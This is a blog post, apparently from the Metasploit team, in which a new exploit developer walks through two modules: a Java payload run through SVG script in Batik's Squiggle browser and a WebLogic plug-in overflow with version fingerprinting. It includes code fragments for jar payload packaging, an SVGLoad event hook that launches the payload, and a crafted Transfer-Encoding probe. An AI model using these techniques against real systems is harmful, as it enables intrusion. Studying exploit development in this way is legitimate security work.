Last updated at Thu, 11 Jan 2024 19:49:31 GMT
Hi all. I would like to take a minute to share some of my feelings about my first week here as a full-time Metasploit exploit developer, and share some exploit modules.
First of all, I would like to thank everyone on the the Metasploit team for being so nice to me from the first week, and for helping me with anything I need. They are definitely going easy on me during my first days! Their support allowed me to build two exploits for the team during my first week here:
- batic_svg_java exploit for OSVDB-81965 in the Squiggle SVG Browser from the Batik framework
- bea_weblogic_post_bof exploit for CVE-2008-3257 in Oracle WebLogic
So today I would like to share some details about these modules, and I hope this will help those who are interested in building exploits using the framework.
batic_svg_java
This module abuses the SVG 1.1 <script>
element, which was discovered by Nicolas Gregoire (@Agarri_FR) and documented in his blog. After some research at Metasploit, as well as additional discussion with Nicolas, we wrote a module that allows the execution of Java via the Squiggle SVG Browser from Batik. We borrowed the proof of concept written by Nicolas, and the awesome library available in Metasploit to build Java-based exploits. Some interesting Metasploit techniques:
- The payload is encoded like a jar with
Msf::EncodedPayload::encoded_jar() which will provide a Rex::Zip::Jar
instance. This class provides all the necessary to build the final jar. The final code would be something like:
paths = [
[ "Exploit.class" ],
[ "Exploit$1.class"],
[ "META-INF", "MANIFEST.MF"]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
- In the above code the "Exploit.class" and the "MANIFEST.MF" items are based on the information provided by Nicolas in his blog. The java code to build "Exploit.class" can be found in "external/source/exploits/batik_svg/Exploit.java", which uses a SVG Handler to execute the Java code available on Metasploit to launch its own payloads:
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Payload.main(null);
} catch (Exception e) {}
}
};
root.addEventListener("SVGLoad", listener, false);
}
- The Payload class is the payload loader provided by Metasploit. The code and the binary (in case you need to modify, and recompile the "Exploit.class") can be found in the "metasploit" package available in the "external/source/javapayload" directory.
- However, there is a downside to this vulnerability. Even though the
<script>
element can be abused to execute Java code within the Batik Framework, there is still strict Java permissions that prevent us to execute malicious code (such as a simple exec). Because of this, the victim machine must disable the "Enforced Security Scripting" option under "Preferences" in Squiggle.
bea_weblogic_post_bof
This one is an old buffer overflow in the Oracle Weblogic plug-in for the Apache Web server. There are two more exploits available in Metasploit for the same component written by @pusscat
- bea_weblogic_jsession_id
- bea_weblogic_transfer_encoding
One nice thing in the bea_weblogic_post_bof module is that it allows to fingerprint the version of the Oracle Weblogic plug-in. It is done by forcing an error with a POST request containing a specially crafted Transfer-Encoding header. Fingerprinting allows you to:
- Write a "check()" function to confirm the existence of a vulnerable version before launching the exploit.
- Auto-detect the target when exploiting.
The path to the info leak in the assemble of the Oracle Weblogic plug-in can be found here.
Writing a HTTP client for Metasploit is a nice experience, because you can find nearly anything you need under the "Msf::Exploit::Remote::HttpClient" mixin. As an example, the specially crafted HTTP request to fingerprint the plug-in version, with an incorrect "Transfer-Encoding" header, can be built with the send_request_cgi() function:
my_data = rand_text_alpha(rand(5) + 8)
res = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'headers' =>
{
'Transfer-Encoding' => my_data
},
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
})
When managing the result from send_request_cgi() you must remind that it can return nil (due to a timeout for example). In our case if res is not null, the code of the response is a HTTP 200, and the body of the response includes the signature for the Oracle Weblogic plug-in. The fingerprinting can be done like so:
if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
# BEA WebLogic 8.1 SP6 - mod_wl_20.so
case res.body
when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
# BEA WebLogic 8.1 SP5 - mod_wl_20.so
when (/Build date\/time:<\/B> <I>Aug 5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
# Check for dates prior to patch release
when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
build_date = Date.parse($1)
if build_date <= Date.parse("Jul 28 2008")
return "BEA WebLogic connector vulnerable"
else
return "BEA WebLogic connector not vulnerable"
end
else
return "BEA WebLogic connector undefined"
end
end
So that's all for now. I hope you enjoyed it and be able to share more about exploiting with Metasploit soon!
Check out Metasploit Documentation here & download Metasploit here.